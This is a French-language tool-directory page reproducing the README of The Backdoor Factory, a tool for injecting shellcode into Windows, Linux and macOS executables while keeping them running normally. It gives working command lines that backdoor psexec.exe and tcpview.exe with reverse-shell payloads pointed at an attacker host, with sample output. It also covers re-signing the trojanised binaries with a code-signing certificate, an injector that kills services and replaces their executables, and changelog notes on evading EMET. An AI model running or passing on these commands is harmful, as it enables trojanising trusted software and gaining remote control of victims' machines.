Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
the-backdoor-factory — Patcher les binaires PE, ELF et Mach-O avec du shellcode — nouvelle version en développement, disponible uniquement pour les sponsors. | Kitploit
Outils/GitHubGitHub/secretsquirrel/the-backdoor-factory
ExploitationRétro-ingénierieShellcodePost-ExploitationAnalyse de MalwareTests d'IntrusionRed TeamingDéveloppement de Charges UtilesExploitation de Binaires
GitHubsecretsquirrel/the-backdoor-factory

the-backdoor-factory

Patcher les binaires PE, ELF et Mach-O avec du shellcode — nouvelle version en développement, disponible uniquement pour les sponsors.

Voir le dépôtSite web
3.4k77410il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

La nouvelle version de BACKDOOR FACTORY est disponible ! Accédez-y ici : https://github.com/sponsors/secretsquirrel

ATTENTION : Les Pull Requests SERONT IGNORÉES ET FERMÉES.

The Backdoor Factory (BDF)

Pour les professionnels de la sécurité et les chercheurs uniquement.

L'objectif de BDF est de patcher les binaires exécutables avec le shellcode souhaité par l'utilisateur et de poursuivre l'exécution normale de l'état d'avant patch.

Join the chat at https://gitter.im/secretsquirrel/the-backdoor-factory Black Hat Arsenal

Black Hat USA 2015 :

root@kitploit:~
Vidéo : https://www.youtube.com/watch?v=OuyLzkG16Uk

Paper : https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015 :

root@kitploit:~
Vidéo : https://archive.org/details/joshpitts_shmoocon2015

Paper : https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014 :

root@kitploit:~
Vidéo : http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013 :

root@kitploit:~
Vidéo : http://www.youtube.com/watch?v=jXLb2RNX5xs

Démo du module d'injection : http://www.youtube.com/watch?v=04aJAex2o3U

Diapositives : http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

Contactez le développeur sur :

root@kitploit:~
IRC :
irc.freenode.net #BDFactory 

Twitter :
@midnite_runr

Sous licence BSD à 3 clauses

Voir le wiki : https://github.com/secretsquirrel/the-backdoor-factory/wiki


Installation

DOCKER

root@kitploit:~
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

###À L'ANCIENNE

####Dépendances #####Pour utiliser OnionDuke, vous DEVEZ être sur une machine Intel car aPLib ne prend pas encore en charge le chipset ARM.

Le moteur Capstone peut être installé depuis PyPi avec :

root@kitploit:~
sudo pip install capstone

Pefile, version la plus récente :

root@kitploit:~
https://code.google.com/p/pefile/

osslsigncode (inclus dans le dépôt) :

root@kitploit:~
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

Installation sous Kali :

root@kitploit:~
  apt-get update
  apt-get install backdoor-factory

AUTRE INSTALLATION *NIX/MAC :

root@kitploit:~
./install.sh

Ceci installera Capstone et utilisera pip pour installer pefile.

MISE À JOUR :

root@kitploit:~
./update.sh

Prise en charge :

root@kitploit:~
Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32), 
et Mach-O x86/x64 et ces formats dans les fichiers FAT

Fichiers packés : PE UPX x86/x64

Expérimental : OpenBSD x32 

Certains exécutables disposent de protections intégrées ; de ce fait, cela ne fonctionnera pas sur tous les binaires. Il est conseillé de tester les binaires cibles avant de les déployer chez des clients ou de les utiliser dans des exercices. Je suis sur le point de contourner NSIS, le contournement de ces protections sera donc inclus à l'avenir.

root@kitploit:~
Un grand merci à Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Sans lui, j'essaierais encore de faire des choses stupides 
avec le format elf.
Merci également à Silvio Cesare pour son article de 1998 
(http://vxheaven.org/lib/vsc01.html) sur lequel ces techniques
de patch ELF sont basées.

Récemment testé sur de nombreux binaires.

./backdoor.py -h Usage: backdoor.py [options]


##Fonctionnalités :

###Fichiers PE

root@kitploit:~
Peut trouver toutes les codecaves dans un EXE/DLL.
Par défaut, efface le pointeur vers la table des certificats PE, retirant ainsi la signature du binaire.
Peut injecter un shellcode dans des code caves ou dans une nouvelle section.
Peut détecter si un binaire PE nécessite de s'exécuter avec des privilèges élevés.
Lors de la sélection des code caves, vous pouvez utiliser les commandes suivantes :
  -Jump (j), pour le saut de code cave
  -Single (s), pour patcher tout votre shellcode dans une seule cave
  -Append (a), pour créer une code cave
  -Ignore (i ou q), peu importe, ignorer ce binaire
Peut ignorer les DLL
Patch de la table d'imports
AutoPatching (-m automtic)
Onionduke (-m onionduke)

###Fichiers ELF

root@kitploit:~
Étend le SEGMENT TEXT de 1000 octets (en octets) et injecte le shellcode dans cette section de code.

###Fichiers Mach-O Patch de la section Pre-Text et suppression de la signature

###Vue d'ensemble

root@kitploit:~
L'utilisateur peut :
  -Fournir un shellcode personnalisé.
  -Patcher un répertoire d'exécutables/DLL.
  -Sélectionner uniquement les binaires x32 ou x64 à patcher.
  -Inclure BDF dans d'autres projets Python, voir pebin.py et elfbin.py

Exemple d'utilisation :

###Patcher un exe/dll à l'aide d'une code cave existante :

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###Patcher un exe/dll en ajoutant une section de code :

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###Patcher un répertoire d'exes : ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...output too long for README...


###Shellcode fourni par l'utilisateur : msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin Cela fera apparaître calc.exe sur une station de travail Windows cible. So 1337. Much pwn. Wow.


###Signature de code PE

BDF peut signer les fichiers PE si vous disposez d'un certificat de signature de code. Il utilise osslsigncode. Placez votre certificat de signature et votre clé privée dans le répertoire certs/. Préparez vos certificats à l'aide des commandes openssl de cet article de blog : http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

Placez le mot de passe de votre clé privée dans un fichier (horreur !) comme ceci (exactement comme ceci) :

root@kitploit:~
echo -n yourpassword > certs/passFile.txt

Nommez vos certificats EXACTEMENT comme suit :

root@kitploit:~
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

Votre répertoire certs/ doit ressembler exactement à ceci :

root@kitploit:~
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

Activez la signature de code PE avec le flag -C comme ceci :

root@kitploit:~
 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

En cas d'exécution réussie, vous devriez voir cette ligne dans la sortie de BDF :

root@kitploit:~
[*] Code Signing Succeeded

###Chasse et backdoor : Injector | Windows uniquement Le module injector recherchera les exécutables cibles à backdoorer sur le disque. Il vérifiera si vous avez identifié la cible comme étant un service, vérifiera si le processus est en cours d'exécution, tuera le processus et/ou le service, injectera le shellcode dans l'exécutable, enregistrera le fichier d'origine sous file.exe.old ou sous un autre suffixe de votre choix, puis tentera de redémarrer le processus ou le service.
Modifiez le dictionnaire Python "list_of_targets" dans le module 'injector' pour choisir vos cibles.

root@kitploit:~
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow 

###Changelog

####01/11/2016

  • Correction du bug de troncature du point d'entrée qui entraînait une récupération incorrecte dans de rares cas

####07/04/2016

  • Prise en charge des chemins dynamiques dans BDFProxy pour le préprocesseur

####06/19/2016

  • Ajout du préprocesseur et d'autres optimisations
  • Le préprocesseur permet à l'utilisateur de modifier le binaire avant l'injection du payload
  • À invoquer avec le flag -p
  • Voir les exemples dans ./preprocessor/

####12/20/2015

  • Ajout des chemins de répertoire à BDF pour localiser le répertoire certs.

####12/18/2015

  • Ajout de la prise en charge de la signature de code PE. Vous devez fournir votre propre certificat de signature de code. Voir ici : https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning

####11/17/2015

  • Correction de bug dans la section rsrc pour le patch onionduke et suppression de la valeur de version win32 aléatoire dans l'en-tête PE

####11/13/2015

  • Ajout de la troncature appropriée d'un fichier PE après l'effacement du pointeur de signature dans l'en-tête PE - par ex. une véritable suppression de signature. Ce qui améliore la prise en charge du patch IAT

####10/19/2015

  • Correction du bug dans l'affectation de cave du répertoire IAT qui provoquait un crash de BDF
  • Rendu de la fonctionnalité optionnelle avec le flag -A

####10/13/2015

  • Modification de la façon de patcher le répertoire de la table d'imports : utilisation d'une code cave existante au lieu d'ajouter une nouvelle section

####08/12/2015

  • Ajout de la PATCH_METHOD 'replace' - une simple copie PE du binaire fourni

  • Plutôt destiné à une utilisation avec BDFProxy

    Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe

####08/11/2015

  • Correction de stabilité pour la sélection automatique de cave dans les rares cas de caves qui se chevauchent

####08/05/2015

  • MISES À JOUR BH USA, w00t !
  • OnionDuke, utilisez -m onionduke * Prend en charge les EXE et DLL fournis par l'utilisateur * Utilisation : ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe
  • MODE XP = Les payloads basés sur l'IAT ne prenaient pas en charge XP, Wine ou Windows 98. Si vous devez prendre en charge XP, utilisez le flag -X. Je ne prends en charge rien d'antérieur à XP (et pas XP x64 non plus).
  • Déclenche l'invite UAC pour exécuter en tant qu'administrateur. expérimental - patche le manifeste PE si requestedExecutionLevel existe.
  • Mises à jour de stabilité : * Correction d'un bug de calcul incorrect de RVA lors de sauts (jmp) à travers 2 code caves ou plus * Meilleures vérifications pour déterminer si une nouvelle section pour l'IAT écrira dans des données ajoutées et échouera donc
  • Améliorations de vitesse : * Recherche de code cave plus rapide lors de l'utilisation du mode automatic (-m automatic) * Analyse rsrc plus rapide pour trouver le fichier manifeste

####5/01/2015

  • Correction de bug du payload reverse_tcp_stager_threaded lors de l'utilisation du payload en cave unique

####4/28/2015

  • Ajout d'une vérification pour les imports liés (bound imports) (les fichiers PE avec des imports liés ne seront pas patchés)

####4/14/2015

Tant de mises à jour :

  • Patch automatique pour les fichiers PE (utilisez -m automatic avec un payload *_threaded)

  • Nouveaux payloads IAT pour les fichiers PE x86/x64

  • Regardez simplement : https://www.youtube.com/watch?v=kkLI_ur6BxY

####2/14/2015 Je vous aime les gars <3

  • Ajout du patch de la table d'adresses d'imports (IAT) pour les PE afin de prendre en charge les payloads iat_reverse_tcp qui utilisent la table d'imports pour les appels API Windows. Si le binaire que vous patchez ne possède pas LoadLibraryA et GetProcAddress, par exemple, BDF les patchera dans une nouvelle table d'imports dans une nouvelle section. Prend en charge les PE x64/x86.

  • Ajout d'iat_reverse_tcp pour les PE x64.

  • Corrections de bugs et améliorations

####1/1/2015

Bonne année !

Deux nouveaux payloads OS X ! Le délai : delay_reverse_shell_tcp

-B 30 --> retarde le payload de 30 secondes, le code principal s'exécute immédiatement.

Fixation d'un commit capstone stable pour l'intégration dans BDF, le dépôt capstone 'Next' casse BDF.

Correctifs pour gérer le problème de troncature des octets nuls de l'implémentation capstone en cython.

####12/27/2014

Ajout de payloadtests.py

Ce script générera des fichiers patchés dans backdoored qui permettront à l'utilisateur de tester les payloads comme il le souhaite. Chaque type de payload incrémente le port utilisé d'une unité.

root@kitploit:~
Usage: payloadtest.py binary HOST PORT

####12/17/2014

Payloads de balisage (beaconing) OS X pour x86 et x64 : beaconing_reverse_shell_tcp

-B 15 --> définit le temps de balisage à 15 secondes

Correction de bug pour la prise en charge d'OS X pour BDFProxy

####10/11/2014

Patch PE UPX ajouté

####9/26/2014

Ajout de Mach-O x86/x64

Optimisation du payload IAT x86

####7/31/2014

Ajout de la prise en charge du patch ELF ARM x32 LE

####7/22/2014

Ajout de la prise en charge du patch ELF FreeBSD x32

Passage à la licence BSD à 3 clauses

####7/13/2014

Intégration de Capstone : http://www.capstone-engine.org/

Au cours du processus d'ajout de Capstone, j'ai supprimé environ 500 lignes de code. C'est plutôt génial.

Renommage de loadliba_reverse_tcp en iat_reverse_tcp.

Petites optimisations pour la vitesse.

####5/30/2014

Ajout d'un nouveau shellcode win86 : loadliba_reverse_tcp

  • Basé sur les recherches suivantes de Jared DeMott : http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- Merci à @bannedit0 de l'avoir mentionné.
  • Ce shellcode utilise les API LoadLibraryA et GetProcAddress pour trouver toutes les API nécessaires à une connexion TCP reverse. Fini la recherche de hash d'API de Stephen Fewer (qui reste brillante).
  • Il n'est pas furtif. Il est dépendant de la position. Mais les résultats sont excellents (saut de code cave) : https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/
  • Contourne EMET 4.1. La protection de l'appelant ne le détecte pas.
  • En conséquence, je vais développer cette idée avec un algorithme qui patche le binaire avec un shellcode personnalisé basé sur les API présentes dans l'IAT. Y compris le portage des shellcodes win86 actuels vers cette idée.
Télécharger l’outil